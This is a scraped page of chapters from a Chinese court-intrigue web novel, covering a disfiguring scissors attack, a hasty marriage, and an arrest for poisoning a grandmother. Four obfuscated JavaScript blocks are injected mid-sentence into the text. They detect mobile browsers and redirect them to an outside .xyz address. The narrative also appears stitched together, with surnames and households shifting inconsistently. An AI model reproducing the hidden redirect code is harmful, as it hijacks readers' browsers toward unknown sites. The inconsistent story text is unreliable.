冀晚雨没有理会她的挑衅,只是缓缓地站起身,朝冀晚棠走去。 冀晚棠被她这变化吓了一跳,后退了一步: “你……你要干什么?” 冀晚雨没有回答,只是继续逼近。 冀晚棠慌了,她色厉内荏地喊道: “冀晚雨,你敢动我!我是洛国公府的嫡小姐,你敢伤我,父亲母亲不会放过你!” 冀晚雨充耳不闻,她的眼中只有冀晚棠那张脸。 她猛地伸手,一把拽住冀晚棠的头发,将她扯到自己面前。 “啊——” 冀晚棠痛得尖叫。 下一秒,一把剪刀抵在了她的脸上。 冰冷的触感让冀晚棠瞬间僵住,她瞪大了眼睛。 冀晚雨竟然敢拿剪刀对着她! 她疯了?! “冀晚棠,让你也体验这般滋味,好不好?” 冀晚雨死死地拽着她的头发,低下头,看着她那张扭曲的脸,笑得疯狂。 “不……不要……” 冀晚棠吓得魂飞魄散,她拼命地挣扎,可力气哪里比得上冀晚雨? “刺啦——” 一声令人毛骨悚然的声响。 剪刀划破了冀晚棠的肌肤,从她的额头划到嘴巴。 鲜血涌了出来,染红了冀晚棠的脸,也染红了冀晚雨的手。 “啊——” 冀晚棠发出撕心裂肺的惨叫,在地上翻滚,像一条被开膛的鱼。 所有人都惊呆了。 他们没想到,冀晚雨竟然如此疯狂,敢当众毁了冀晚棠的容! 康熙王府的丫鬟们吓得脸色惨白,双腿发软。 冀晚棠带来的丫鬟们更是惊恐万状,尖叫着,想要上前,却被冀晚雨的杀气震慑,不敢动弹。 “冀晚雨……你……不得好死……” 冀晚棠躺在地上,断断续续地咒骂着。 她的声音嘶哑,充满了怨毒。 冀晚雨缓缓地蹲下,看着冀晚棠那张血肉模糊的脸,笑得更疯狂: “我不得好死?冀晚棠,我会好好地活下去,活得比你更久,更风光!” 她站起身,将沾满鲜血的剪刀扔在地上,朝门口走去。 第一百四十二章 她没有再看冀晚棠一眼。 待小王爷前来迎娶那天,冀晚雨早已恢复平静。 她穿着嫁衣,头上盖着红盖头,坐在喜床上,等待着她的夫君。 小王爷推门而入时,她抬起头,透过红盖头,看向他。 她的目光平静,仿佛在看一个陌生人。 小王爷被她这眼神看得心里一紧,走到她身边,想要掀开她的盖头,却被她阻止了。 “小王爷,别急。” 冀晚雨的声音很轻: “我有话要跟你说。” 小王爷愣了一下,点了点头: “好。” 冀晚雨缓缓地掀开盖头,露出了她的脸。 小王爷倒吸一口凉气,眼中闪过一丝惊恐,但很快就被心疼取代。 “晚雨,你的脸……” 他颤抖着声音,想要抚摸她的伤疤,却又不敢。 “小王爷,我被人毁容了。” 冀晚雨平静地说: “就在刚才,冀晚棠带人来,想要杀我,我只能反击。” 她顿了顿: “我知道,我现在的样子很丑,你如果后悔,还来得及。” 小王爷看着她那双清澈的眼睛,心中涌起一股爱意。 他一把将她搂进怀里,紧紧地抱着: “晚雨,我不后悔!永远都不会后悔娶你!不管你变成什么样子,你都是我最爱的!” 冀晚雨靠在他的怀里,听着他强有力的心跳,嘴角勾起一抹笑意。 “小王爷,我好害怕,妹妹她还要害我,还好我及时闪避……” 她抬起头,泪眼朦胧地看着他: “妹妹一个踉跄摔倒在地,不慎伤及自身,要不是这样,我就见不到你了……” 她泣不成声,仿佛受了天大的委屈。 “有人要害你?”小王爷怒声问道,全然忘了方才在房内的场景。 冀晚雨哭着将方才的事情添油加醋地说了一遍。 小王爷听闻后更是怒不可遏。 他轻轻地擦去她脸上的泪水,安慰: “晚雨,别怕,有我在,没人能伤你!” 他顾不得礼仪,直接将冀晚雨打横抱起,大步往外走。 半路,遇到匆匆赶来的冀二夫人和冀徒临,他停下脚步,冷冷地说: “岳母,大哥,从今往后,晚雨便是我康熙王府的人。谁若伤她分毫,便是与我整个王府为敌!” 声音不大,却带着威严。 冀二夫人和冀徒临脸色铁青,不敢阻拦,只能看着他将冀晚雨抱进花轿。 鼓乐喧天,鞭炮齐鸣。 康熙王府的花轿离开了洛国公府。 论及入住康熙王府,老王妃如何不满,那是后话了。 小王爷失礼,和新王妃毁容的消息,很快传遍京城。 各家议论纷纷,都说这小王爷是何等的“情深”,竟连这样的女子都娶。 各府的人都暗自揣测,这位小王妃以后出门,怕是要戴面纱。 这些流言,冀晚雨即使不知,冀徒临也派人传到她的耳中,以报复她伤了冀晚棠。 他坚信,只要小王爷厌弃冀晚雨,他们就能要她偿命。 洞房花烛夜。 小王爷担心冀晚雨,无心应付宾客。 他没敬几杯酒,就匆匆进了喜房。 红烛摇曳,映着冀晚雨的脸。 小王爷走到她身边,握住她的手: “晚雨,你还好吗?” 冀晚雨点了点头,没有说话。 他知道,她一定很害怕。 他想安慰,却不知该说什么。 这时,门外传来脚步声。 一个丫鬟的声音响起: “王爷,老王妃请您过去。” 小王爷皱了皱眉: “知道了。” 丫鬟退下。 小王爷看着冀晚雨: “你先休息,我去去就来。” 冀晚雨点了点头。 小王爷叹了口气,走出喜房。 他看到康熙老王妃站在院中,一脸怒容。 “孽子!跪下!” 老王妃厉声喝道。 小王爷吓了一跳,跪倒在地: “母妃,您这是……” “做什么?!” 老王康熙王府昨夜那点事,本来捂得严严实实。 没成想,今儿一大早,就炸开了锅。 起因竟是小王爷醒来,发现身边多了俩丫鬟! 他那火爆脾气,一点就着,当场就要把人拖出去杖毙。 老王妃闻讯赶来,好说歹说,才把这事儿给压下去。 小王爷哪肯善罢甘休?可胳膊拧不过大腿,硬是被老王妃做主,收了那两个丫鬟。 这还不算完! 老王妃借题发挥,把新进门的王妃冀晚雨叫到跟前,要立规矩。 要说这新媳妇进门,立规矩是常有的事儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062173|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 各家府里,谁家新媳妇不得熬一熬? 可这位康熙王府的新媳妇,也忒娇气了些! 还没跪上半盏茶的工夫,身子一软,直接晕倒在匆匆赶来的小王爷怀里。 小王爷一看,这还得了?! 当下跳着脚跟老王妃闹,说她这是要逼死自己的心头肉。 老王妃气得眼前发黑,差点没背过气去。 王府里顿时乱作一团,急急忙忙去请太医。 这事儿,也跟风一样,传遍了京城的大街小巷。 茅清兮听到这消息时,正跟冀容白在听雨阁用饭。 今儿,冀容白也不知怎么了,非要拉着她去看宅子。 茅清兮一肚子疑惑,可瞧见冀容白那似笑非笑的模样,又把话给咽了回去。 这不明摆着嘛,肯定是冀大夫人把话递给冀容白了。 她猜不透冀容白的心思,但他挑宅子那股劲头,可是实打实的认真。 从宅子的地段、大小,到里头的花草摆设,他都一一过问,细致得很。 茅清兮被他带着,晕头转向地转悠了一天。 实在累得不行,便来了这听雨阁,打算先祭祭五脏庙。 冀容白宠溺一笑,麻利地点了一桌子菜。 又特意让墨川跑了趟福宁街,从祥云糕点铺买回了茅清兮的心头好。 这么一番折腾,才算把这位小姑奶奶给哄消停了。 两人挑了个二楼靠窗的位子坐下。 菜刚上齐,还没动几筷子,就听见楼下有人议论纷纷,说的正是康熙王府昨晚的闹剧。 “诶,听说了没?昨儿个洞房花烛夜,小王爷压根儿就没进新房!” “可不是嘛,听说新王妃在房里独守空房,坐了一宿呢!” “要我说啊,这位冀家大小姐可真有两下子,把小王爷迷得神魂颠倒。” “嘁,什么有两下子?不过是些狐媚手段罢了!那些青楼楚馆的,哪个不比她强?”一个声音里满是不屑。 “就是,小王爷还是太年轻,没见过世面,才把这等货色当个宝。” “小点儿声!你不要命啦?”有人赶紧提醒,“人家可是洛国公府的千金大小姐,咱们哪儿惹得起!” “让我告诉你们个秘密?听说这位大小姐出嫁前,把自己亲妹妹的脸都给刮花了……” “哟,这洛国公府的女人,怎么都一个德行?以后可得离她们远点儿。” “得了吧,就你? 第一百四十三章 人家国公府的千金,能瞧得上你?” “白给都不要!一个个的,都不知道检点……” 楼下越说越不像话,污言秽语,不堪入耳,说到兴奋处,还发出一阵阵猥琐的笑声。 茅清兮听得直皱眉,这些人平日里装得人五人六的,还读书人呢,背地里竟如此龌龊! 她正欲发作,给这些人点颜色瞧瞧。 冀容白却轻轻按住了她的手,给她夹了一筷子菜。 “专心吃饭,别听这些污糟话,仔细坏了兴致。” 茅清兮一愣,抬头看向冀容白。 他神色如常,似乎完全没把那些话放在心上。 她心中不由得泛起一丝疑惑,正想开口问他。 却见冀容白微微侧头,目光落在她身上,轻声问道:“你是不是觉得奇怪?我为何对冀晚雨的事如此冷漠,好歹……她也曾唤我一声哥哥。” 茅清兮摇了摇头,夹起一块鱼肉放入口中,细细咀嚼后,才缓缓开口:“若非良人,何必在意?既是良人,又何须多虑?” 冀容白闻言,微微一怔。 他凝视着茅清兮,深邃的眼眸中似有波光流转。 良久,他低低一笑,眉眼间尽是温柔。 他端起茶盏,轻轻抿了一口,借着饮茶的动作,掩饰住眼底一闪而逝的复杂情绪。 沈大夫那边,药已经配好了。 算算日子,他得动身前往云陲了。 要是吃了那药,便只剩下两个月的时间。 两个月……他能及时赶回吗? 更重要的是,他必须在这两个月内,寻到寒星露的解药,否则…… 他不敢再想下去,这些事,他不能让茅清兮知道,不能让她为自己担忧。 “你说的对,确实没必要在意。”冀容白放下茶盏,语气恢复了如常的温和。 他正要再说些什么,却见茅清兮忽然瞪大了眼睛,直勾勾地盯着自己面前的盘子。 冀容白顺着她的目光看去,只见盘中放着一块金黄色的糕点。 他微微一笑,夹起那块糕点,递到茅清兮唇边。 茅清兮张口咬住,香甜软糯的滋味瞬间在口中蔓延开来。 “唔……好吃!”她眼睛一亮,含糊不清地赞叹道。 “这是什么呀?以前没吃过。” 冀容白笑着解释:“这是祥记新出的‘玉露琼浆’,里头裹了咸蛋黄。” “嗯嗯,好吃!”茅清兮一边吃,一边连连点头,“甜而不腻,咸香可口,当真绝了!” 冀容白见她吃得开心,又夹了几块给她。 茅清兮照单全收,吃得不亦乐乎。 她自己也纳闷,平日里,俞霜也没少给她买各色点心。 可不知怎的,冀容白带回来的,总能让她格外喜欢。 或许,这就是所谓的……心有灵犀? 她正胡思乱想着。 冀容白忽然开口,说出了一件让茅清兮险些把嘴里的糕点喷出来的事: “其实,冀晚雨并非我嫡亲的妹妹。” 茅清兮咽下糕点,心想:这不明摆着吗?你俩又不是一个爹生的,算哪门子嫡亲? 可冀容白接下来的话,却让她彻底惊呆了。 他说:“冀晚雨,是我表姐妹。” “哈?!”茅清兮惊得差点从椅子上蹦起来,手里的筷子也“当啷”一声掉在了桌上。 冀容白不慌不忙地捡起筷子,用茶水冲洗干净,重新放到她面前。 然后,他才慢条斯理地讲述了一段尘封多年的往事。 “当年,我姨母对冀徒荣一往情深。有一次,趁着冀徒荣酒醉,两人……便有了夫妻之实。可这事儿,若是让冀徒荣知晓,以他的性子,定然容不下姨母腹中的骨肉。姨母为了保住孩子,也为了让这孩子能有个名分,便将她送到了我娘身边,对外只说是我的妹妹。” 茅清兮听得瞠目结舌,半晌说不出话来。 这洛国公府的事,简直比话本子还精彩! 看来,冀大夫人红杏出墙是真,冀国公也不是什么省油的灯。 虽说这年头,男人三妻四妾是常态。 可这些年来,冀国公一直以洁身自好闻名,明面上连个通房丫鬟都没有。 茅清兮回想起冀晚棠那日的话。 敢情所有人都以为冀晚雨是冀大夫人偷汉子生的,却不知,她竟真是冀徒荣的种! “那……那冀国公他……一直不知道?”茅清兮结结巴巴地问道。 “嗯。”冀容白点点头,声音里听不出喜怒。 “冀徒荣那样的人,在知道林臧雨做了对不起他的事之后,对此类事情,更是深恶痛绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062174|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些年,他之所以自己不纳妾,还将林臧雨囚禁在佛堂,就是为了表明自己的态度。”京城里,提起“听雨阁”这三个字,但凡是识字的,都得竖起个大拇指。 这里头的缘故,明面上是因为这酒楼风雅,暗地里,则是因为这地方,每个月都会挂出几篇锦绣文章。 能让文章上墙的,那都是人中龙凤,将来指不定是要名动天下的。 一来二去,这听雨阁,就成了文人士子们心中的圣地,一个个削尖了脑袋往里头钻。 今儿个,听雨阁里照旧是热闹非凡。 可这帮读书人,聊着聊着就管不住嘴了,什么话都敢往外蹦。 “听说了吗?安宁府那档子事,尹家可算是栽了个大跟头!” “那可不,连带着京里那位,都灰头土脸的。” 几个人正说得起劲,突然,一个尖酸的声音插了进来: “几位爷,慎言!小心隔墙有耳!” 说话的是个贼眉鼠眼的汉子,一看就不是什么好路数。 可他这话一出口,原本还热闹的酒楼,顿时就安静了下来。 大伙儿你看看我,我看看你,谁也不敢再多说一句。 这年头,谁知道哪句话就犯了忌讳? 可偏偏,就有那不信邪的。 “怕什么?咱们说的都是实话!”一个年轻书生梗着脖子,显然是喝高了。 “就是!徐公子那是何等人物?要不是他,谁知道尹家背地里干的那些龌龊事!” “还有公主那事,跟徐公子有什么关系?我看八成是……” “慎言,那是公主!” “住口,再乱说,别怪我等不客气!” …… 眼看着就要吵起来,突然,一阵整齐的脚步声,打破了这剑拔**张的气氛。 “锦衣卫办事,闲杂人等,速速离去!” 为首的锦衣卫,声音不大,却带着一股子不容置疑的威严。 他身后,一队队黑衣劲装的汉子,如狼似虎般冲了进来。 那场面,把楼里的客人都吓傻了。 有那机灵的,二话不说,扭头就跑。 可大多数人,都还愣在原地,没反应过来。 “你们几个,刚才说什么呢?”领头的锦衣卫走到那几个还在争吵的书生面前,冷冷地问道。 第一百四十四章 “没……没说什么……”几个人吓得面无人色,说话都结巴了。 “没说什么?我看你们说得很热闹嘛!” 锦衣卫一挥手,几个手下立刻上前,把这几个人给按住了。 “带走!” 一声令下,这几个书生就被拖了出去。 楼里的人,这下是彻底安静了。 谁都知道,进了锦衣卫的诏狱,不死也得脱层皮。 二楼的雅间里,茅清兮把这一切看得清清楚楚。 她眉头紧锁,心里头像是压了一块大石头。 “夫人,您看这……”司玄苏站在她身后,小心翼翼地问道。 茅清兮没说话,只是轻轻摆了摆手。 司玄苏会意,立刻退了出去。 潘云霄带着人离开后,茅清兮也回了府。 刚进院子,就见墨川急匆匆地迎了上来。 “夫人,段公子回来了,伤得不轻!” 茅清兮心里咯噔一下,赶紧跟着墨川进了书房。 书房里,富峻脸色惨白,整个人像是从血水里捞出来的一样。 看到茅清兮和冀容白,他挣扎着想要起身,却牵动了伤口,疼得龇牙咧嘴。 “主子……夫人……” 冀容白一记冷眼扫过去,富峻立刻就老实了。 “说吧,怎么回事?”冀容白的语气,冷得像是能冻**。 富峻不敢隐瞒,一五一十地把事情交代了一遍。 原来,冀容白怀疑苏家暗中养了一批江湖人,便派富峻去调查。 富峻这小子,艺高人胆大,到了安州,直接就摸进了苏家。 结果,乐极生悲,被人给逮了个正着。 “主子,我太大意了,以为凭我的轻功,没人能发现我……”富峻的声音里,带着浓浓的懊悔。 他怎么也没想到,自己竟然会阴沟里翻船。 更让他后怕的是,对方似乎早就知道他的身份,把他打晕后,直接就给弄到了西魏。 “他们……他们是想用我来威胁主子!”富峻说到这儿,眼泪都快下来了。 “要不是咱们的人拼死相救,我……我怕是就回不来了……” 富峻的声音越来越低,头也深深地埋了下去。 他自小跟着冀容白,顺风顺水,何曾受过这等打击? “主子,都是我没用,连累了大家……” 冀容白看着他,脸色阴沉得可怕。 “苏家那些人,不简单。”富峻抬起头,咬牙切齿地说道。 “除了江湖人,还有西魏的。为首的那个,眼角有颗痣,使得一手好暗器,我就是栽在他手上的……” “眼角有痣?”茅清兮突然插了一句。 富峻一愣,随即点了点头:“对,夫人怎么知道?” 茅清兮没回答他,只是转头看向冀容白。 冀容白眼中寒光闪烁,一字一顿地说道:“看、来、这、邱、家,是、真、的、留、不、得、了!”“苏家暗地与西魏勾结,王管家,怕就是他们在陆府安插的眼线。” 茅清兮这话,一半是说给冀容白听,一半是试探。 她想知道: “你们……在西魏那边,可有人手?” 冀容白的回应,是几不可察地点了下头,声音低沉,却带着不容置疑: “鹰羽卫跟西魏人在云陲,明争暗斗这么些年,他们能在咱们眼皮子底下安插人,咱们自然也能礼尚往来。” 这事儿,心照不宣。 茅清兮没再追问这个。 她眼下更关心的,是另一桩心事。 玄苏曾查到,她娘亲的死,与王管家脱不了干系。 如果王管家是西魏人……那她娘亲的死,西魏是不是也掺和了一脚? 这么一想,茅清兮只觉得心口发闷,像压了块石头。 她追查至今,娘亲的死因,始终像一团迷雾,拨不开,看不清。 陆府、皇室、西魏…… 到底谁,才是害死娘亲的真凶? 富峻在一旁,眼瞅着冀容白脸色阴沉得能滴出水,心里更不是滋味,头垂得更低了: “主子,都怪我,太大意,打草惊蛇……苏家那边,怕是啥也查不着了。” 冀容白只是淡淡地扫了他一眼,语气平静,听不出喜怒: “伤好了,自个儿去军营领罚,二十军棍。” “是。” 富峻的声音闷闷的。 是他轻敌了。 从前,有冀容白和墨川护着,他顺风顺水惯了,总以为天大地大,自己本事最大。 富峻低着头,肩膀微微耸动,显然是受了不小的打击。 墨川在一旁看着,心疼是真,可更多的,却是松了口气。 富峻这小子,平日里自视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062175|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚高,总觉得自己轻功了得,天下无敌,吃点苦头,未必是坏事。 但愿,这次能让他长点记性。 茅清兮见富峻这副模样,走上前去,仔细查看他的伤势。 伤虽不致命,却也得好生调养些时日。 她写下一张药方,这药紫姨那儿正好有,倒是省事。 “多谢夫人。”富峻连忙道谢。 “这药嘛,入口可能有点苦。”茅清兮顿了顿,试探着问,“要是实在喝不下去......” “不苦不苦,一点都不苦!”富峻不等她说完,就连忙摆手,生怕她再加什么东西进去。 他可不想像自家主子那样…… 话到一半,他猛地收住,小心翼翼地瞟了冀容白一眼。 见冀容白正冷冷地盯着他,富峻立马闭了嘴,后背都冒了冷汗。 茅清兮平日里见惯了冀容白怕苦的模样,以为大家都是软饭人,这才多问了一句。 这么看来,倒也不是人人都像冀容白那般娇气。 第二日,冀容白再派人前往洛州商家,意料之中,人去宅空。 只是,苏家老爷的尸首,却在自家屋里被发现了,死状可怖。 更让人心惊的是,宅子里上上下下,苏家旁系、奴仆,竟无一幸免,全都被灭了口。 这手段,狠辣决绝,像极了西魏人的作风,生怕走漏了风声。 难道是西魏人**灭口? 茅清兮把这疑问抛给了俞霜: “依你看,这苏家家主,可是西魏人所杀?” 俞霜摇了摇头,眉头紧锁,显然也想不通: “苏家与西魏暗通款曲多年,又怎会如此轻易就被灭口?” “我与苏家家主打过几次交道,此人心机深沉,绝非易与之辈。” 茅清兮听了,也陷入沉思。 可冀容白派去的人回禀,丧命的就是苏家当家人,并无易容。 若真如俞霜所说,那真正的苏家家主,又会是谁? 或者说,一直以来,都有人顶着苏家家主的身份,在暗中活动? 冀容白既然已经抓到了西魏人的尾巴,自然不会善罢甘休,当即派出人手,顺着这条线索深挖下去。 茅清兮手底下没人,查西魏人的事,只能交给冀容白。 她现在更关心的,是苏家与西魏勾结一事,骆芸和茅暮暮是否知情。 第一百四十五章 从之前她们对待王管家的态度来看,好像不清楚王管家是苏家的内鬼。 如今,苏家只剩下骆芸和茅暮暮这两个人,没了苏家在背后撑腰,还有谁能帮她们? 果然,没过多久,茅暮暮就露出了马脚。 这事,还得从茅清兮故意恐吓茅暮暮说起。 茅清兮装作追查老太太死因的样子,有意无意地透露给茅暮暮。 茅暮暮听了,心里慌得不行,生怕自己当初做的事不够干净,留下什么把柄。 她暗中指使贴身丫鬟春秋,偷偷出了府。 殊不知,茅清兮早已派人暗中盯梢。 俞霜回来禀报: “春秋出了府,一路往城东去了,到了一户人家门前。” “她四下张望,见那屋子空了好久,这才像是松了口气。” “属下查过,那屋子的主人,正是宋老夫人身边的梅嬷嬷一家。” “可据邻居说,郭家一家子早就搬走了,去了外地。” “有这么巧?” 茅清兮挑了挑眉,觉得事情没那么简单。 俞霜继续汇报: “属下顺着郭家的亲戚这条线查下去,查到他们在德州县有个远房亲戚。” “可咱们的人赶到德州县一问,那亲戚压根就不知道郭家要来,更没见过郭家人。” 听到这,茅清兮心里已经有了判断。 郭家一家子,怕是凶多吉少,被人灭了口。 俞霜顿了顿,又说: “本以为线索就此断了,可咱们的眼线,却在京城的赌场里,发现了梅嬷嬷男人的踪迹。” “属下立刻带人把他抓了回来,严刑拷问之下,他才招认,是有人给了梅嬷嬷一大笔银子,让她在老太太的药里下‘断肠花’。” “这事儿办完,梅嬷嬷就带着全家老小连夜离开了京城。” “只是,梅嬷嬷这男人,是个烂赌鬼。半路上,他偷了家里的银子,偷偷跑回京城,这些日子一直在赌场里花天酒地,挥霍无度。” “要不是这样,他恐怕也难逃一死。” 茅清兮听完,冷笑一声: “真是百密一疏。” “将此人押送刑部……不行,” 她略一思忖,改了主意: “直接交给锦衣卫。” 刑部和大理寺,都有太子的人。 要是他们护着太子太傅的千金,这事儿就不好办了。 锦衣卫,至少潘云霄现在一心一意为皇上办事,还算可靠。 茅飞羽被孔首辅家的小公子拉着去赌场见世面,正巧撞见锦衣卫从赌场里揪出一个男人。 这人他认识,就是祖母跟前梅嬷嬷的夫君。 茅飞羽见状,眉头一皱,当即上前: “郭叔?你这是犯了什么事?” 郭叔一见是他,像是见了救星,立马哭嚎起来: “大少爷救命啊!我不想死,我真的不想死啊!” 茅飞羽还想上前,却被锦衣卫拦了下来。 他急切地问道: “他到底犯了什么事?你们凭什么抓他?” “锦衣卫办案,闲杂人等不得过问。” 锦衣卫冷冷地回了一句,不留半点情面。 茅飞羽气得脸色发青,却也无可奈何。 赌场被锦衣卫这么一闹,也没法再玩下去。 他没了兴致,只得跟张公子告辞,悻悻而归。 谁知,刚回到陆府,就见一队锦衣卫进了府。 他心头一紧,连忙跟了上去。 没想,锦衣卫要抓的,竟然是茅暮暮。 “二姐!究竟什么情况?!” 茅飞羽惊怒交加。 茅暮暮一见他,像是抓住了救命稻草,哭喊着: “飞羽,快,快去找爹爹!爹爹若是不行,就去找太子殿下!” 茅飞羽却没动,只是怒声质问: “他们凭啥要抓你?你到底做了什么?!” 茅暮暮暗暗咬牙,她要是被押进明狱,这辈子就完了,她要在京城社**。 只是,郭家人怎么会没死?竟然栽在锦衣卫手里! 她心中恨极,却也知道,一定有人会来救她。 眼下,她只想先稳住茅飞羽。 可她还没来得及开口,一个熟悉的声音,带着几分嘲讽,从头顶传来: “宋家二小姐涉嫌毒害亲祖母,锦衣卫自然要拿人问罪。” 茅清兮站在陆府的墙头上,用鄙夷的眼神俯视她,嘴角勾起一抹讥诮的弧度。“姐!” 茅飞羽的声音里满是惊喜,小跑着迎了上去。 茅清兮的目光在他身上短暂停留,随即像拂过一片落叶般,轻飘飘地移开。 茅飞羽脸上的笑容僵住,脚步也慢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062176|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,心口处,一阵细密的疼。 “茅清兮!是不是你!一定是你陷害我!” 茅暮暮披头散发,形容狼狈,哪里还有平日里半分端庄贤淑的模样。她一见到茅清兮,就如同炸了**的猫,尖叫着扑了上来。 只可惜,还没靠近墙头,就被眼疾手快的锦衣卫拦下。 “茅清兮,你这个**,除了你,还有谁会这么害我!” 茅暮暮目眦欲裂,死死盯着茅清兮,仿佛要用眼神将她凌迟。 茅清兮站在墙头,居高临下地看着她,唇角勾起一抹若有似无的笑。 她今天来这一趟,本就是为了欣赏茅暮暮这副失态的模样。 毕竟,对于这位向来自诩清高的二妹妹来说,没什么比在她面前颜面尽失更让她痛苦的了。 只是看着看着,茅清兮忽然觉得有些索然无味。 前世,茅暮暮能算计到她,不过是仗着背后有苏家撑腰。再加上她从未将这个所谓的妹妹放在眼里,自然也就疏于防范。 如今再看茅暮暮这些上不得台面的伎俩,只觉得可笑。 她挥了挥手,示意锦衣卫: “带走吧。” 声音淡淡的,像是在吩咐下人处理一件微不足道的小事, “诏狱才是她该待的地方。” “茅清兮!你站住!你这个毒妇!你会遭报应的!不得好死!” 眼见茅清兮要走,茅暮暮愈发癫狂,凄厉的诅咒声在空中回荡,那声音,尖利得仿佛能刺破耳膜。 突然,一直沉默的茅飞羽开口了,声音嘶哑,像是喉咙里堵了一团棉花: “二姐,大姐说的是真的吗?你……当真对祖母她……” 茅暮暮猛地回头,死死盯着他,脸上是毫不掩饰的震惊和受伤,尖叫道: “茅飞羽!你竟然不信我?我可是你二姐!是你最亲的二姐啊!” 茅飞羽紧抿着唇,没有说话,只是垂在身侧的手,微微颤抖。 “说话啊!你倒是说话啊!” 茅暮暮像是抓住了最后一根稻草,拼命摇晃着他的胳膊, “锦衣卫抓我,定是有人栽赃陷害!难道……难道你以为是我做的吗?!” 她的声音里,带着一丝不易察觉的期待,似乎希望从茅飞羽口中,听到否定的答案。 “是茅清兮!一定是她!她恨我,她要毁了我! 第一百四十六章 ” 可茅飞羽的沉默,却让茅暮暮彻底崩溃,她猛地拔高了声音,近乎歇斯底里地尖叫。 “够了!” 茅清兮轻斥一声,打断了茅暮暮的失控。 她转身,面向那两名锦衣卫,语气虽轻,却带着不容置疑的威严: “两位大人,还愣着做什么?莫非要让犯人在光天化日之下,对着锦衣卫指手画脚?” 两名锦衣卫对视一眼,都从彼此眼中看到了忌惮。 他们原本确实存了私心,毕竟茅暮暮是太子太傅的女儿,暗地里又得了好处。想着睁一只眼闭一只眼,卖个人情。 可现在,茅清兮三言两语,就把这事跟锦衣卫的颜面挂上了钩。 这要是传出去,他们两个还想在锦衣卫混,怕是难了。 于是,两人不再犹豫,上前就要将茅暮暮带走。 “不!我不去诏狱!飞羽!救我!去找爹!快去啊!” 茅暮暮彻底慌了,她拼命挣扎,死死抓住茅飞羽的衣袖,哭得声嘶力竭,上气不接下气。 茅飞羽看着眼前这个完全陌生的二姐,眼底的情绪复杂翻涌。 有痛心,有失望,也有……恨。 他深吸一口气,猛地用力,将茅暮暮的手,从自己的衣袖上,一点点掰开。 “二姐,祖母的事,锦衣卫会查清楚的。” 茅飞羽的声音很低,也很冷。 茅暮暮难以置信地瞪大了眼睛,似乎不敢相信,那个一向对她百依百顺的弟弟,竟然会说出这样的话。 茅飞羽没有再看她,缓缓别过脸,仿佛不忍再看这令他心碎的一幕。 眼看侯府的大门就在眼前,茅暮暮的心,彻底跌入冰窖。 完了,一切都完了。 进了诏狱,就算外祖家有天大的本事,也鞭长莫及。 她的名声,她的未来,全都毁了! 就在这千钧一发之际,一个焦急的声音,划破了这凝滞的空气: “这是怎么了?!暮暮!” 茅文昭急匆匆地赶了回来,一眼就看到了被锦衣卫押着的茅暮暮,顿时脸色大变。 他三步并作两步冲上前,张开双臂,像护崽的老母鸡一样,将茅暮暮护在身后,怒视着两名锦衣卫: “你们好大的胆子!光天化日之下,竟敢擅闯侯府抓人?眼里还有没有王法了!” 两名锦衣卫的脸色,顿时阴沉得能滴出水来。 在京城,敢这么跟锦衣卫说话的,茅文昭还是头一个。 “宋大人,此案涉及一桩人命官司,我们是奉命办案。” 其中一名缇骑尽量压抑着怒火,沉声解释道。 “奉命?奉谁的命?我看你们是假公济私!” 茅文昭却丝毫不买账,依旧怒气冲冲地吼道, “我女儿冰清玉洁,怎么可能做出那种事?定是有人栽赃陷害!你们锦衣卫,就是这么办案的吗?!” 茅清兮站在墙头,冷眼看着这场闹剧,唇角勾起一抹嘲讽的弧度。 这位宋大人,还真是“清高”得可以,迂腐得可笑。 如今锦衣卫权势滔天,谁见了不得绕着走?偏偏他要往上撞,真是不知死活。 “宋大人,请让开,否则,别怪我们不客气了!” 另一名缇骑显然没了耐心,直接拔出了腰间的绣春刀,语气森冷。 茅文昭却像是被踩了尾巴的猫,跳着脚大骂: “不客气?你们想干什么?我可是太子太傅!你们敢动我?!” “拿下!” 那缇骑懒得再跟他废话,直接一声令下。 